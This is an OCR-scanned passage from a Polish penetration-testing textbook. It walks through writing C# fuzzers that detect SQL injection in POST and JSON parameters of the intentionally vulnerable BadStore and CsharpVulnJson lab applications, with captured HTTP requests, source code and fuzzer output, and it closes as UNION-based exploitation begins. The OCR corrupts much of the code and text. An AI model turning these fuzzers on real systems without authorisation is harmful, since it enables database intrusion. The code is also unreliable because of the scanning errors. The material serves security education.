Cookie:
NID=107=£KS0HCPATE MgkoxM4K_cnPNEnTdgohuZNGscuZadDUl 4bEgusViouklqUéekh_Vie_kytRhEOgEcUOhNZEEL Tk-GXaV_aSGE1dUpR3Cana¥ipy?d
a2005C520BE Lug58AT 13 YTIUIKINx WAD I SupgH] YW Sh UL JNS s LPHEALpONNTAL WOV FRDYVZWPF_t_IShdS7tEnlddEOveKVIRSnlCAtkpZLx0FU3_b3
iMenNEieRiihdudcikF 1Ds; CONSENT=YES+PL.pl+20150705-15-0;
SID=tQRx128B0]PXqx3 5WrLVIPr ZUSgMmF BAQOSOEuXuZVho GGERgDSBr XeG_L1WAVTcrmliWa. ; HSTD=A09PUsZZERRSPxkim;
APISID=J3Uiozdlxv_SHAYP/AggNEcV-NgLgBANLY;
S1DCC=AA248bel SUDERNeQh i fvIe0s57AQ-BIFyF- o TLUIgsk 1 ExXbF-013L0rDm 13 TG5n-Fé2G-0hEBNONhC IE7F g
Connsction: close
Upgrade-Insecurs-Requests: 1

L
v

LB v 0 matches

Rysunek 2.5. Serwer Burp Suite aktywnie przechwytuje zqdania do witryny google.com
z Firefoksa

JIE  Whar's New at BadStore.net L+l

4 i 192.168.1.64/cgi-

Ouilck Mam Search

-
- The following are new items:

What's New
‘Sign Cur Guestbook temNum Item Description Prica | Image ng:nlo |
|
Vigw Prev |
|
About Us Useless but
1000 Snake Oil lax ive 11.50
My Acoount
Login / Register 0
-8 Only - .
ity 1003 MagicRabbit Cutewhitebunny  [12.50
Supplisr Login _
Sllm].jcfl:ontm!
~Reference- | s lperfect Code  [The rarest magic of all 5000.00
ey et Mmay! 0} ]

! | ! Do

1008 ROICalculator [ oourate RBUM O o) og ﬁ@g
Investment

S |

Rysunek 2.6. Strona What's New aplikacji webowej BadStore
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Przycisk u dotu strony stuzy do dodania zaznaczonych pozycji do koszyka.
7. wlaczonym serwerem Burp Suite pomiedzy przegladarka a serwerem BadStore
wybierz kilka elementéw za pomoca pol wyboru po prawej stronie, a nastepnie
kliknij przycisk Submit, aby zainicjowaé zadanie HTTP w celu dodania towaréw
do koszyka. W wyniku przechwytywania zadania przez serwer Burp Suite powinie-
nes stworzy¢ zadanie podobne do pokazanego na listingu 2.16.

Listing 2.16. Zgdanie HTTP POST z serwera Burp Suite

POST /cgi-bin/badstore.cgi?action=cartadd HTTP/1.1

Host: 192.168.1.75

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0)
>Gecko/20100101 Firefox/20.0 Accept: text/html,
“>application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://192.168.1.75/cgi-bin/badstore.cgi?action=whatsnew
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 63

cartitem=1000&cartitem=1003&Add+Items+to+Cart=Add+Items+to+Cart

Zadanie pokazane na listingu 2.16 jest typowym zadaniem POST z parametrami
zakodowanymi w adresie URL (zestaw znakéw specjalnych, z ktérych niektére to
tzw. ,znaki biale” — ang. whitespace — takie jak spacje i znaki przejscia do nowego
wiersza). Zwroémy uwage, ze w tym zadaniu uzyto znakéw plusa (+) zamiast spacji.
Zapisz to zadanie do pliku tekstowego. Uzyjemy go p6zniej do systematycznego
fuzzowania parametréw przesylanych w zadaniu HTTP POST.

UWAGA Parametry w Zgdaniu HTTP POST sq zawarte w ostatnim wierszu zqdania, ktory
definiuje przesylane dane w formacie klucz-wartos¢ (niektore zqdania POST stuzq do
przesylania wieloczesciowych formularzy lub innych egzotycznych typow danych,
ale ogélna zasada pozostaje taka sama).

Zwréémy uwage w tym zadaniu, ze do koszyka dodajemy elementy o identyfi-
katorach 1000 i 1003. Spéjrzmy teraz na okno Firefox. Fatwo zauwazyé, ze liczby
te odnosza sie do kolumny ItemNum. Przesytamy parametr razem z tymi identyfikato-
rami, co ogdlnie informuje aplikacje, co nalezy zrobi¢ z danymi, ktére wysylamy
(dokladniej, dodajemy te pozycje do koszyka). Jak mozna zobaczyé, na iniekcje SQL
moga by¢ podatne jedynie dwa parametry cartitem, poniewaz serwer bedzie je
interpretowal.

Rozpoczyna sie fuzzing

Zanim zaczniemy fuzzowanie parametréow zadania POST, musimy skonfigurowaé
dane tak, jak pokazano na listingu 2.17.
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Listing 2.17. Metoda Main() czytajgca zgdania POST i zapisujgca nagféwek Host

public static void Main(string[] args)

{
string[] requestLines = OFﬂe.ReadAHLines(args[O]);
Bstring[] parms = requestlines[requestLines.Length - 1].Split('&');

Qstring host = string.Empty;
StringBuilder requestBuilder = new QStringBuﬂder();

foreach (string 1n in requestLines)

{
if (In.StartsWith("Host:"))
host = Tn.Split(' ')[1].@Replace("\r", string.Empty);
requestBuilder.Append(Tn + "\n");
}

string request = requestBuilder.ToString() + "\r\n";
Console.WriteLine(request);

Czytamy zadanie z pliku i za pomoca wywolania File.ReadAl1Lines () @ prze-
kazujemy do tej metody pierwszy argument aplikacji fuzzera. Uzylismy metody
ReadAl1Lines() zamiast ReadAT11Text() ze wzgledu na koniecznos$é podzielenia
zadania w celu uzyskania z niego informacji przed fuzzowaniem (dokltadniej
nagléwka Host). Po przeczytaniu zadania wiersz po wierszu do tablicy ciggéw
znakéw i pobraniu parametréw z ostatniego wiersza pliku @ deklarujemy dwie
zmienne.

W zmiennej host @& przechowujemy adres IP hosta, do ktérego wysylamy
zadanie. Ponizej zadeklarowano obiekt System.Text.StringBuilder @, ktéry wyko-
rzystamy do utworzenia pelnego zadania jako pojedynczego ciggu znakow.

UWAGA  Uzywamy obicktu StringBuilder, poniewaz gwarantuje on wigkszq wydajnosé
w pordwnaniu z operatorem +=, uzywanym z podstawowym typem string (za kaz-
dym razem, gdy uzywamy operatora +=, tworzymy w pamieci nowy obiekt
string). Przy takim malym pliku nie zauwazymy réznicy, ale bedzie ona widoczna
w przypadku obstugi wielu ciggéw znakdw w pamieci. Uzycie obiektu StringBuilder
tworzy tylko jeden obiekt w pamigci, co powoduje znacznie mniejsze obcigzenie
pamigci.

Nastepnie przetwarzamy w petli wszystkie wiersze zadania, ktére wezesniej
zostalo odczytane. Sprawdzamy, czy wiersz zaczyna sie od "Host:", a jesli tak
jest, to przypisujemy druga czes¢ ciggu hosta do zmiennej host (to powinien by¢
adres IP). Nastepnie wywolujemy na ciaggu znakéw metode Replace() @, aby
usungé¢ ewentualne koricowe znaki \r, ktére mogly pozosta¢ w niektérych wer-
sjach Mono (poniewaz adres TP nie zawiera koncowych znakéw \r). Na koniec
dolaczamy wiersz z \r\n do obiektu StringBuilder. Po zbudowaniu pelnego zadania
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przypisujemy go do nowej zmiennej typu string o nazwie request (w przypadku
HTTP Zadanie musi konczy¢ sie symbolem \r\n; w przeciwnym razie serwer
nie przesle odpowiedzi).

Fuzzowanie parametréw

Teraz, gdy mamy pelne Zadanie do wysylania, musimy przetworzy¢ je w petli i pod-
ja¢ probe fuzzowania parametréw pod katem wrazliwos$ci na iniekcje SQL. We-
wnatrz tej petli korzystamy z klas System.Net.Sockets.Socket i System.Net.
>IPEndPoint. Poniewaz mamy kompletne Zzadanie HTTP jako ciag znakéw, moze-
my uzy¢ prostego gniazda do komunikacji z serwerem, zamiast korzystac z bibliotek
HTTP w celu utworzenia zgdania. Teraz mamy wszystko, czego potrzebujemy
do fuzzowania serwera w spos6b pokazany na listingu 2.18.

Listing 2.18. Dodatkowy kod wprowadzony do metody Main() w celu fuzzowania
parametrow POST

IPEndPoint rhost = @ new IPEndPoint(IPAddress.Parse(host), 80);
foreach (string parm in parms)

{
using (Socket sock = new GSocket(AddressFami1y.InterNetwork,
>SocketType.Stream, ProtocolType.Tcp))

{
sock.®Connect (rhost);

string val = parm.@Sth(':')[l];
string req = request.®Replace("=" + val, "=" + val + "'");

byte[] regBytes = @Encoding.ASCII.GetBytes(req);
sock.a'Send(rquytes);

byte[] buf = new byte[sock.ReceiveBufferSize];

sock.®Receive (buf);

string response = @Encoding.ASCII.GetString(buf);

if (response.Contains("error in your SQL syntax"))
Console.WriteLine("Parametr " + parm + " wyglada na wrazliwy");
Console.Write(" na iniekcje SQL z wartoScig: " + val + "'");

W kodzie z listingu 2.18 tworzymy nowy obiekt IPEndPoint @ poprzez prze-
kazanie nowego obiektu IPAddress zwréconego przez wywolanie IPAddress.
>Parse(host) i portu, ktéry wykorzystamy do polaczenia z adresem IP (80). Teraz
mozemy przetwarza¢ w petli parametry, ktére wezesniej zostaly pobrane ze zmien-
nej requestLines. W kazdej iteracji musimy stworzy¢ nowe polaczenie Socket @
oraz uzywamy wywolania AddressFamily.InterNetwork w celu poinformowania
gniazda, ze mamy do czynienia z IPv4 (wersja 4 protokotu Internet Protocol,
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w przeciwienstwie do IPv6). Uzywamy tez SocketType.Stream, by poinformowac
gniazdo, Ze jest ono strumieniowe (z obstuga stanéw — ang. stateful, dwukierun-
kowe i wiarygodne).

Uzywamy réwniez argumentu ProtocolType.Tcp, zeby poinformowaé gniazdo,
ze uzywamy protokotu TCP.

Po utworzeniu egzemplarza obiektu mozemy wywola¢ na nim metode Connect ()
©® i przekazaé w roli argumentu obiekt rhost typu IPEndPoint. Po podlaczeniu do
zdalnego hosta na porcie 80 mozemy rozpoczaé¢ fuzzowanie parametru. Dzielimy
parametr z petli foreach na znaku réwnosci (=) @ i wyodrebniamy warto$é tego
parametru za pomoca wartoéci spod drugiego indeksu tablicy (uzyskanego w wyni-
ku wywotania metody). Nastepnie wywolujemy na ciagu zadania metode Replace()
© w celu zastgpienia wartosci pierwotnej wartoscia skazona. Na przyklad, jesli
nasza warto§¢ w ciagu parametrow 'blah=foodblergh=bar' to foo, to zastgpujemy
stowo foo stowem foo' (zwréémy uwage na apostrof na koncu).

Nastepnie przy uzyciu wywolania Encoding.ASCII.GetBytes () @ pobieramy
tablice bajtéw reprezentujacych ciag i przesylamy przez gniazdo @ do portu
serwera podanego w konstruktorze obiektu IPEndPoint.

Jest to réwnowazne przestaniu zagdania z przegladarki WWW do adresu URL
podanego w pasku adresu.

Po wystaniu zadania tworzymy tablice bajtéw o rozmiarze réwnym rozmiarowi
otrzymanej odpowiedzi i wypehiamy ja odpowiedzia z serwera za pomoca metody
Receive() @. Do uzyskania ciagu reprezentowanego przez tablice bajtéw uzywamy
wywolania Encoding.ASCII.GetString() @. Nastepnie mozemy sparsowaé odpo-
wiedz otrzymang z serwera.

Odpowied? z serwera testujemy poprzez sprawdzenie, czy w danych odpowie-
dzi jest komunikat o btedzie SQL, ktérego oczekujemy.

Fuzzer powinien wyswietla¢ wszystkie parametry, ktére powodujg bledy SQL,
jak pokazano na listingu 2.19.

Listing 2.19. Wynik dziatania fuzzera POST na zqdaniu

$ mono  POST_fuzzer.exe /tmp/request

Parametr cartitem = 1000 wyglada na wrazliwy na iniekcje SQL
>z wartoScig: 1000'

Parametr cartitem = 1003 wyglada na wrazliwy na iniekcje SQL
>z wartoScig: 1003'

$

Jak wida¢ w wyniku dzialania fuzzera, parametr HTTP cartitem wyglada na
wrazliwy na iniekcje SQL. Gdy wstawimy apostrof do biezacej wartosci parametru
HTTE w odpowiedzi uzyskujemy btad SQL, co oznacza, ze prawdopodobiefistwo
zagrozenia atakami iniekcji SQL jest bardzo duze.
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Fuzzowanie danych w formacie JSON

Inzynierowie zajmujacy sie testami penetracyjnymi z pewnoScig spotkaja sie
z ushugami sieciowymi, ktére akceptuja dane wejsciowe serializowane w postaci
JSON (ang. JavaScript Object Notation). Aby poméc czytelnikom nauczy¢ sie fuz-
zowania zadan HTTP JSON, napisalem niewielka aplikacje webowa o nazwie
CsharpVulnJson, ktéra pobiera dane w formacie JSON i uzywa informacji zapisanych
w tych danych do utrwalania i wyszukiwania danych zwigzanych z uzytkownikami.
Aby ustuga sieciowa dzialata ,,po wyjeciu z pudetka”, stworzylem niewielkg maszy-
ne wirtualng, ktora jest dostepna w witrynie VulnHub (http:/www.vulnhub.com)).

Konfigurowanie wrazliwego urzqdzenia

Aplikacja CsharpVulnJson jest dostarczana jako plik OVA — kompletne archiwum
maszyny wirtualnej, ktére mozna bez trudu zaimportowaé¢ do wybranego pakietu
wirtualizacji. W wiekszosci przypadkéw dwukrotne klikniecie pliku OVA powoduje
uruchomienie oprogramowania wirtualizacji w celu automatycznego zaimporto-
wania urzgdzenia.

Przechwytywanie wrazliwych zqdan JSON

Po uruchomieniu aplikacji CsharpVulnJson skieruj przegladarke Firefox do portu
80 na maszynie wirtualnej. Powinienes zobaczy¢ interfejs zarzadzania uzytkowni-
kami podobny do tego, ktéry pokazano na rysunku 2.7. Tutaj skoncentrujemy sie
na tworzeniu uzytkownikéw za pomoca przycisku Create User oraz zadania HTTP
tworzonego w wyniku klikniecia tego przycisku podezas tworzenia uzytkownika.

Zaktadajac, ze Firefox nadal jest skonfigurowany do przetwarzania zadan przez
serwer HTTP proxy Burp Suite, wypehij pola danych uzytkownika i kliknij przy-
cisk Create User. Spowoduje to stworzenie w okienku zadania Burp Suite zadania
HTTP z informacjami o uzytkowniku wewngtrz skrétu danych w formacie JSON,
tak jak pokazano na listingu 2.20.

Listing 2.20. Zqdanie utworzenia uzytkownika z danymi JSON zawierajgcymi informacje
o uzytkowniku do zapisania w bazie danych

POST /Vulnerable.ashx HTTP/1.1

Host: 192.168.1.56

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.10; rv:26.0)
>Gecko/20100101 Firefox/26.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8

Referer: http://192.168.1.56/

Content-Length: 190

Cookie: ASP.NET SessionId=5D14CBCOD339F3F054674D8B

Connection: keep-alive Pragma: no-cache

Cache-Control: no-cache
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Rysunek 2.7. Aplikacja CsharpVuln/son otwarta w przeglqdarce Firefox

{"Nazwa uzytkownika": "whatthebobby", "hasto": "propanel", "wiek": 42,
S"wiersz1": "123 Main St", "wiersz2": "","miasto": "Arlen", "stan":

SUTX", "zip": 78727, "pierwszy": "Hanka", "Srodkowy": ,"ostatni":
S"Hi11", "Metoda": "Tworzenie"}

Teraz kliknij prawym przyciskiem myszy w okienku zadania i wybierz Copy
to File. Na pytanie o lokalizacje zapisu Zadania HTTP na komputerze wskaz miejsce
i zapamietaj, gdzie zapisano zadanie, poniewaz trzeba bedzie przekazaé $ciezke
do fuzzera.

Tworzenie fuzzera JSON
Aby fuzzowaé takie zadanie HTTE trzeba oddzieli¢ dane w formacie JSON od po-
zostalej czesci zadania. Nastepnie musimy iterowaé po wszystkich parach klucz-
warto$é wewnatrz danych w formacie JSON i modyfikowaé¢ wartosé, prébujac
wywotac¢ blad serwera WWW.

Czytanie pliku zqdania

Aby utworzy¢ fuzzer zadania HTTP w formacie JSON, zaczynamy od znanego,
dobrego zadania HTTP (zadanie Create User). Za pomoca wcze$niej zapisanego
zadania HTTP mozemy wezyta¢ zadanie i rozpoczaé proces fuzzowania, tak jak
pokazano na listingu 2.21.
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Listing 2.2 1. Metoda Main, ktdra inicjuje fuzzowanie parametru JSON

public static void Main(string[] args)

{
string url = Oargs[O];
string requestFile = @args[1];
string[] request = null;

using (StreamReader rdr = Onew
StreamReader(File.@0penRead(requestFile)))
request = rdr.@ReadToEnd() . @Split('\n');

string json = Grequest[request.Length - 1],
JObject obj = @JObject.Parse(json);

Console.WriteLine ("Fuzzowanie zadafi POST do adresu URL" + url);
@IterateAndFuzz(uH , obj);

Pierwszg rzeczg, jaka musimy zrobié, jest zapisanie pierwszego 0; drugiego @
argumentu przekazanych do fuzzera w dwo6ch zmiennych (odpowiednio url
i requestFile). Deklarujemy réwniez tablice ciagéw znakéw, do ktérej zostang
przypisane dane w zagdaniu HTTP po przeczytaniu zadania z systemu plikow.

W kontekscie instrukeji using otwieramy plik zadania do odezytu za pomoca
wywolania File.OpenRead() @ i przekazujemy zwrécony strumien pliku do kon-
struktora obiektu StreamReader @. Po utworzeniu nowego egzemplarza klasy
StreamReader mozemy odczyta¢ wszystkie dane z pliku za pomocg metody Read
>ToEnd() @. Poza tym dzielimy dane w pliku zadania, za pomoca metody Split() @
przekazujac do metody symbol nowego wiersza jako separator podziatu zadania.
Zgodnie z zasadami obowigzujacymi dla protokotu HTTE do oddzielenia nagléw-
kéw od danych wysylanych w zadaniu sa uzywane znaki przejscia do nowego
wiersza (dokladniej symbole powrotu karetki i wysuwu wiersza). Tablica ciggéw
znakéw zwrdcona wezesniej przez metode Split() jest przypisywana zadeklarowa-
nej wezesniej zmiennej request.

Po przeczytaniu i podzieleniu pliku zadania mozemy pobraé potrzebne dane
JSON do sfuzzowania i rozpocza¢ iterowanie po parach klucz-wartos¢ w formacie
JSON w celu wyszukania wektoréw iniekeji SQL.

Dane JSON, ktére nas interesuja, znajduja sie w ostatnim wierszu Zadania
HTTP, ktory jest jednoczes$nie ostatnim elementem w tablicy request. Poniewaz
pierwszy element w tablicy ma indeks 0, to mozemy odjaé 1 od dtugosci tablicy
request, wykorzysta¢ obliczong warto§¢ do pobrania ostatniego elementu z tablicy
i przypisa¢ wartosé do ciagu json @.

Po oddzieleniu danych w formacie J[SON z zadania HTTP mozemy sparsowaé
ciag json i utworzy¢ obiekt JObject, po ktérym mozemy programowo iterowaé
za pomoca metody Jobject.Parse() @. Klasa Jobject nalezy do biblioteki
Json.NET, ktéra jest dostepna za darmo za poSrednictwem Menedzera pakietow
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NuGet lub pod adresem hitp://www.newtonsoft.com/json/. Bedziemy uzywaé tej
biblioteki w przyktadach w calej ksigzce.

Po utworzeniu nowego egzemplarza klasy JObject wy$wietlamy wiersz statusu,
aby poinformowa¢ uzytkownika, ze fuzzujemy zadanie POST do podanego adresu
URL. Na koniec przekazujemy do metody IterateAndFuzz () @ obiekt JObject i ad-
res URL w celu wykonania zadann HTTP POST oraz przetwarzania formatu J[SON
i fuzzowania aplikacji webowej.

Iterowanie po kluczach i wartosciach JSON

Teraz mozemy rozpoczaé iterowanie po wszystkich parach klucz-warto$¢ wewnatrz
formatu JSON i konfigurowaé¢ poszczegélne pary w celu testowania pod katem
istnienia mozliwych wektoréw iniekeji SQL. Sposob, w jaki nalezy to zrobi¢ za
pomoca metody IterateAndFuzz (), pokazano na listingu 2.22.

Listing 2.22. Metoda IterateAndFuzz(), wyznaczajqca pary klucz-wartos¢ w formacie JSON
do fuzzowania

private static void IterateAndFuzz(string url, JObject obj)

{
foreach (var pair in (JObject)oobj.DeepC]one())

{
if (pair.Value.Type == @JTokenType.String || pair.value.
>Type == QJTokenType.Integer)

{

Console.WriteLine ("Fuzzowanie klucza: " + pair.Key);

if (pair.Value.Type == JTokenType.Integer)
OcConsole.WriteLine("Konwersja typu int na string
>w celu fuzzowania");

JToken oldVal = Bpair.Va]ue;
obj[pair.Key] = @pair.value.ToString() + "'";

if (@Fuzz(url, obj.Root))

Console.WriteLine ("Wektor iniekcji SQL: " + pair.Key);
else

Console.WriteLine (pair.Key + " nie wyglada na wrazliwy.");

Oobj [pair.Key] = oldval;
}

Metoda IterateAndFuzz() zaczyna sie od przetwarzania w petli foreach par
Klucz-wartos¢ zapisanych w obiekcie JObject. Poniewaz bedziemy zmienia¢ warto-
$ci w ciggu JSON poprzez wstawianie do nich apostroféw, wywotujemy metode
DeepClone() @ tak, aby uzyskaé oddzielny obiekt, ktory jest identyczny z obiektem
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pierwotnym. To pozwala na iterowanie po jednej kopii pary JSON klucz-wartosé
w tym samym czasie, w ktérym druga modyfikujemy (trzeba stworzyé kopie,
poniewaz w petli foreach nie mozna zmienia¢ obiektu, po ktérym iterujemy).
Wewnatrz petli foreach testujemy, czy warto$¢ w biezacej parze klucz-wartosé
pary jest typu JTokenType.String (2} czy JTokenType.Integer (3 kontynuujemy
fuzzowanie tej wartosci, jesli warto$¢ jest typu string lub integer. Po wySwietleniu
komunikatu @ informujacego uzytkownika, ktéry klucz jest fuzzowany, sprawdza-
my, czy warto$¢ jest liczbg catkowita, aby powiadomié¢ uzytkownika, ze istnieje
mozliwosé konwersji warto$ci z formatu liczby catkowitej na cigg znakéw.

UWAGA  Ze wzgledu na to, zZe liczby w formacie JSON sq pisane bez cudzystowdéw i muszq
by¢ liczbami catkowitymi lub zmiennoprzecinkowymi, wstawienie wartosci z apo-
strofem spowoduje wyjgtek parsowania. Dla wielu aplikacji webowych ze stabg
kontrolg typow napisanych w Ruby on Rails lub Pythonie nie ma znaczenia to,
czy zmienil sig typ wartosci J[SON, natomiast aplikacje webowe napisane w jezykach
silnie typowanych, takich jak Java lub C#, mogq dzialac inaczej, niz oczekiwano.
Dla aplikacji webowej CsharpVuln]son nie ma znaczenia, czy typ zostal celowo
zmieniony.

Nastepnie zapisujemy poprzednia warto$¢ w zmiennej oldval @, aby mozna
ja bylo zastapi¢ po sfuzzowaniu biezacej pary klucz-wartosé. Po zapisaniu starej
warto$ci ponawiamy przypisanie do biezacej wartosci @ wartoéci oryginalnej, ale
z apostrofem dolaczonym na koncu. Jesli w tej postaci zostanie ona umieszczona
w kwerendzie SQL, powinno to spowodowaé wyjatek parsowania.

Aby stwierdzi¢, czy zmodyfikowana warto$é¢ spowoduje blad w aplikacji webo-
wej, przekazujemy zmodyfikowane dane JSON i adres URL, gdzie nalezy je prze-
sta¢ do metody Fuzz() @ (opisanej dalej). Metoda ta zwraca warto$é logiczng
Boolean, ktéra méwi o tym, czy warto$¢ JSON moze byé wrazliwa na iniekcje
SQL. Jesli metoda Fuzz () zwrdci true, to informujemy uzytkownika, ze warto$¢
moze by¢ wrazliwa na iniekcje SQL. Jesli zwrdci false, to mozemy poinformowaé
uzytkownika, ze klucz nie wydaje sie zagrozony.

Po ustaleniu, czy warto$¢ jest wrazliwa na iniekcje SQL, zastepujemy zmodyfi-
kowana wartos¢ JSON wartoscia pierwotna @ i przechodzimy do nastepnej pary
klucz-wartosé.

Fuzzowanie z zgdaniem HTTP

Na koniec musimy utworzy¢ whasciwe zadania HTTP ze skazonymi warto$ciami
JSON i odczyta¢ odpowiedz z serwera w celu ustalenia, czy warto$é jest wrazliwa
na iniekcje. Na listingu 2.23 pokazano, jak metoda Fuzz () tworzy zadanie HTTP
i sprawdza odpowiedz na okreslone ciagi znakéw w celu ustalenia, czy wartosé
JSON jest wrazliwa na iniekcje SQL.
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Listing 2.23. Metoda Fuzz(), ktéra realizuje wiasciwg komunikacje z serwerem

private static bool Fuzz(string url, JToken obj)

{
byte[] data = System.Text.Encoding.ASCII.

L>06e’cBy‘ces (obj.®ToString());

HttpWebRequest req = (HttpWebRequest)®WebRequest.Create(url);
req.Method = "POST";

req.ContentlLength = data.Length;

req.ContentType = "application/javascript";

using (Stream stream = req.@GetRequestStream())
stream.@Write(data, 0, data.Length);

try
{

}
catch (WebException e)

{

req.@GetResponse() ;

string resp = string.Empty;

using (StreamReader r = new StreamReader

L>(e.Response.aGetResponseS‘cr‘eam()))
resp = r.@ReadToEnd();

return (resp.@Contains("syntax error") || resp.
‘-»@Contains("unterminated"));

}

return false;

Poniewaz musimy przesta¢ caly ciag JSON w formie bajtéw, przekazujemy
tekstowa wersje obiektu JObject zwréconego przez metode ToString() @ do meto-
dy GetBytes() @, ktdra zwraca tablice bajtéw reprezentujacych ciag JSON. Budu-
jemy réwniez pierwotne zadanie HTTP przez wywolanie statycznej metody
Create() ® Kklasy WebRequest w celu utworzenia nowego egzemplarza klasy
WebRequest oraz rzutujemy wynikowy obiekt na typ HttpWebRequest. Nastepnie
przypisujemy metode HTTP, rozmiar zawartosci i typ zawarto$ci zadania. Do
wlasciwosci Method przypisujemy warto$é POST, poniewaz warto$¢ domySlna to GET,
oraz przypisujemy rozmiar tablicy bajtowej, ktérg bedziemy przesyta¢ do wiasci-
wosci ContentlLength. Na koniec przypisujemy application/javascript do whasci-
wosci ContentType, by zyska¢ pewnosé, ze serwer WWW wie, ze odbierane dane
powinny by¢ poprawnie sformatowanymi danymi JSON.

Kolejnym zadaniem jest zapisanie danych JSON do strumienia zgdania. Wy-
wolujemy metode GetRequestStream() @ i przypisujemy strumien zwrécony do
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zmiennej w kontekscie instrukcji using, tak aby strumien zostal poprawnie usuniety
po uzyciu. Nastepnie wywolujemy metode Write() strumienia @, ktéra przyjmuje
trzy argumenty: tablice bajtowa zawierajaca dane JSON, indeks tablicy, od ktérego
chcemy rozpoczaé pisanie, oraz liczbe bajtéw, ktore chcemy zapisa¢ (poniewaz
chcemy zapisa¢ wszystkie, to przekazujemy calg dtugosé tablicy danych).

Aby otrzymaé odpowiedZ z serwera, tworzymy blok try, tak by mozna bylto
przechwyci¢ wyjatki i pobra¢ odpowiedzi. Wewnatrz bloku try wywolujemy
metode GetResponse() @ w celu podjecia proby pobrania odpowiedzi z serwera,
ale interesuja nas tylko odpowiedzi z kodem HTTP 500 lub wyzszym, ktére mogly-
by spowodowacé zgloszenie wyjatku przez metode GetResponse().

Aby przechwyci¢ te odpowiedzi, za blokiem try umiescilismy blok catch, w kt6-
rym wywolujemy metode GetResponseStream() @, i na podstawie zwréconego
strumienia tworzymy nowy obiekt StreamReader. Korzystajac z metody ReadToEnd()
strumienia @, zapisujemy odpowiedZ serwera w zmiennej tekstowej resp (zadekla-
rowanej przed blokiem try).

Aby ustali¢, czy wysylana warto$¢ mogla przyczyni¢ sie do bledu SQL,
sprawdzamy odpowiedz pod katem jednego z dwdich znanych ciagéw, ktére wyste-
puja w komunikatach o bledach SQL. Pierwszy z nich, "syntax error" @, to
0golny ciag znakéw wystepujacy w komunikatach o btedach MySQL, podobny do
tego, ktéry pokazano na listingu 2.24.

Listing 2.24. Przyktadowy komunikat o btedzie MySQL zawierajqcy cigg ,,syntax error”

ERROR: 42601: syntax error at or near &quot;dsa&quot;

Drugi ciag, "unterminated" @, wystepuje w specyficznych komunikatach
o btedach MySQL, gdy ciag nie jest zakoniczony. Przyklad takiego komunikatu za-
mieszczono na listingu 2.25.

Listing 2.25. Przyktadowy komunikat o btedzie MySQL zawierajqcy cigg ,,unterminated”

ERROR: 42601: unterminated quoted string at or near "'); "

Obecnosé dowolnego komunikatu o bledzie moze oznacza¢ wrazliwosé na in-
iekcje SQL w aplikacji. Jesli odpowiedz z serwera zawiera dowolny z wymienio-
nych ciggéw, to zwracamy wartos¢ true do metody wywolujacej, czyli uwazamy,
ze aplikacja jest wrazliwa. W przeciwnym razie zwracamy false.

Testowanie fuzzera JSON

Po ukoniczeniu trzech metod koniecznych do fuzzowania zadania HTTP w forma-
cie JSON mozemy przetestowac zadanie HTTP Create User, jak pokazano na
listingu 2.26.
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Listing 2.26. Wynik dziatania fuzzera JSON dla aplikacji CsharpVuln/son

$ fuzzer.exe http://192.168.1.56/Vulnerable.ashx
>/Users/bperry/req_vulnjson

Fuzzowanie zadai POST do adresu URL http://192.168.1.13/Vulnerable.ashx
Fuzzowanie klucza: username

Wektor iniekcji SQL: username

Fuzzowanie klucza: password

Wektor iniekcji SQL: password

Fuzzowanie klucza: age(’

Konwersja typu int na string w celu fuzzowania
Wektor iniekcji SQL: age

Fuzzowanie klucza: linel

Wektor iniekcji SQL: linel

Fuzzowanie klucza: Tine2

Wektor iniekcji SQL: line2

Fuzzowanie klucza: city

Wektor iniekcji SQL: city

Fuzzowanie klucza: state

Wektor iniekcji SQL: state

Fuzzowanie klucza: zip€;

Konwersja typu int na string w celu fuzzowania
Wektor iniekcji SQL: zip

Fuzzowanie klucza: first

first nie wyglada na wrazliwy.

Fuzzowanie klucza: middle

middle nie wyglada na wrazliwy.

Fuzzowanie klucza: Tlast

last nie wyglada na wrazliwy.

Fuzzowanie klucza: method®

method nie wyglada na wrazliwy.

Uruchomienie fuzzera dla zadania Create User powinno pokazaé, ze wiek-
$z0$¢ parametréw jest narazonych na atak iniekcjg SQL (wiersze zaczynajace sie
od Wektor iniekcji SQL). Wyjatkiem jest klucz JSON method @ uzywany w aplikacji
webowej do ustalenia operacji, ktéra ma by¢ wykonana. Zwréémy uwage, ze nawet
parametry age @ i zip @ — oryginalnie liczby calkowite w formacie JSON — sa
zagrozone, jesli podczas testu zostang poddane konwersji na cigg znakow.

Wykorzystywanie iniekcji SQL
Znalezienie mozliwych iniekcji SQL to tylko polowa sukcesu w pracy testera
penetracyjnego. Wazniejsza i trudniejsza polowa to préba ich wykorzystania.
Wezesniej w tym rozdziale uzyliSmy adresu URL aplikacji BadStore do sfuzzowa-
nia parametréw ciggu zapytania HTTPE z ktérych jeden — o nazwie searchquery
— byl wrazliwy na iniekcje SQL (patrz listing 2.13 na str. 25). Parametr ciagu
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kwerendy URL searchquery jest wrazliwy na dwa typy technik iniekcji SQL. Warto
zapozna¢ sie z obydwoma typami iniekcji (bazujacym na typie Boolean i na opera-
cji UNION), dlatego opisze pisanie eksploitéw dla obu typéw przy uzyciu tego samego
wrazliwego adresu URL BadStore.

Technika z operacja UNION jest tatwiejsza w uzyciu podczas wykorzystywania
iniekeji SQL. Gdy mozna zarzadzaé koricem kwerendy SQL, to mozliwe jest sko-
rzystanie z operacji UNION w iniekcjach do kwerend SELECT. Napastnik, ktéry
zdota dolaczy¢ instrukcje UNION na koricu instrukeji SELECT, moze zwrécié do
aplikacji webowej wiecej wierszy danych, niz pierwotnie zaktadal programista.

Jednym z najtrudniejszych elementéw iniekcji SQL bazujacej na instrukeji
UNION jest réwnowazenie kolumn. Ogélnie rzecz biorge, nalezy uzy¢ w klauzuli
UNION takiej samej liczby kolumn, jaka zwracala z bazy danych oryginalna instrukcja
SELECT. Kolejnym wyzwaniem jest programowe przekazanie polecenia, gdzie
wewnatrz odpowiedzi z serwera WWW maja pojawié sie wstrzykniete wyniki.

Wykorzystywanie eksploita bazujgcego
na instrukcji UNION recznie

Korzystanie z iniekcji SQL bazujacych na instrukeji UNION to najszybszy spos6b
